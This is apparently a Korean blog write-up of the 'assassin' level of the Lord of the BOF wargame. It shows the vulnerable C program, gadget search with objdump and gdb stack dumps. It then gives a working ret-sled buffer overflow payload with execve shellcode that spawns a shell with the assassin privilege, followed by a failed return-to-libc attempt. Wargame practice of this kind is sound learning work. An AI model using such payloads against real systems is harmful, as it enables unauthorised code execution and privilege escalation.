LOB giant => assassin

c0wb3ll ㅣ 2020. 4. 6. 11:18

LOB giant => assassin

[giant@localhost giant]$ cat assassin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
    char buffer[40];

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] == '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);

        // buffer+sfp hunter
        memset(buffer, 0, 44);
}

스택을 사용하는 것도 아니고 RTL도 아니라고 한다. 또한 리턴주소가 라이브러리영역으로 변조되는 것도 막혔다.


풀이

음 기법이 따로 적혀있질 않아서 그냥 가젯(?)을 찾아 풀어보기로 했다. 이번 같은 경우 ppr 같은 가젯이 아니라 그냥 ret만 있어도 되서 ret를 찾아 리턴을 한번 더 해준 다음 그곳에 오는 주소를 변조해주면 될 것 같다. ( 여기서 사용하는 기법을 ret 슬레드라고 한다고 한다. )

[giant@localhost tmp]$ objdump -S /lib/libc.so.6 | grep ret

처음엔 아무생각 없이 libc 에서 ret를 찾았는데 라이브러리 영역으로 ret를 변조할 수 없으니 assassin 파일에서 ret를 찾아주자.

[giant@localhost tmp]$ objdump -S assassin | grep ret
 8048336:    c3                       ret    
 8048435:    c3                       ret    
 804843c:    c3                       ret    
 804845c:    c3                       ret    
 8048464:    c3                       ret    
 804851e:    c3                       ret    
 8048542:    c3                       ret    
 8048548:    c3                       ret    
 8048565:    c3                       ret    
[giant@localhost tmp]$ 

다음과 같은 결과가 있다. 이 중 하나의 주소로 ret값을 변조하여 ret를 두번 실행시켜 쉘을 따면 될 것 같다.

[giant@localhost tmp]$ ./assassin `python -c "print 'A'*48+'\x90'*100+'B'*48"`

쉘코드가 들어갈 곳으로 점프하기 위해 주소를 알아내야하는데 그를 위해 위와 같이 인자를 넣어주고 분석을 하였다.

0xbffffb90:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffba0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffbb0:    0x41414141    0x41414141    0x90904141    0x90909090
(gdb) 
0xbffffbc0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbd0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbe0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbf0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffc00:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffc10:    0x90909090    0x90909090    0x90909090    0x42429090
0xbffffc20:    0x42424242    0x42424242    0x42424242    0x42424242
0xbffffc30:    0x42424242    0x42424242    0x42424242

대충 nop 이 끼어져 있는 0xbffffbe0으로 점프 시켜주면 될 것 같다.

[giant@localhost tmp]$ ./assassin `python -c "print 'A'*44 + '\x36\x83\x04\x08' + '\xe0\xfb\xff\xbf' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6?珹퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??째
                                                            ?
bash$ id
uid=514(giant) gid=514(giant) groups=514(giant)
bash$ 

성공적으로 쉘을 딸 수 있었다.

[giant@localhost giant]$ ./assassin `python -c "print 'A'*44 + '\x36\x83\x04\x08' + '\xe0\xfb\xff\xbf' + '\x90'*100 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6?珹퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??째
                                                            ?
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ 

시도

RTL이 안된다 그래서 ret슬레드에 대해 찾아보고 ret슬레드를 사용한 뒤 RTL을 사용할 수 있지 않을까? 하는 반항심에 시도해봤다.

[giant@localhost tmp]$ export bin="/bin/sh"

환경변수에 /bin/sh를 올려주고

[giant@localhost tmp]$ ./dassassin 
bin address is 0xbffffefb

주소를 구해준다.

(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) 

system 주소를 구해주고 쉘코드를 작성해보자.

[giant@localhost tmp]$ ./assassin "`python -c "print 'A'*44 + '\x36\x83\x04\x08' + '\xe0\x8a\x05\x40' + 'AAAA' + '\xf9\xfe\xff\xbf'"`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6??@AAAA航
Segmentation fault (core dumped)
[giant@localhost tmp]$

하지만 어째선지 system함수로는 가지만 /bin/sh을 실행시켜주진 않고 그냥 돌아오는 모습을 확인할 수 있었다. ( system함수에 ret에 exit()를 넣어주면 정상적으로 그냥 종료되는 것을 확인 )

음... 왜 안되는 것일까? /bin/sh문자열을 환경변수 말고 libc에서 찾아 그곳으로 줘봐도 마찬가지로 되지 않았따! 에라 모르겠따!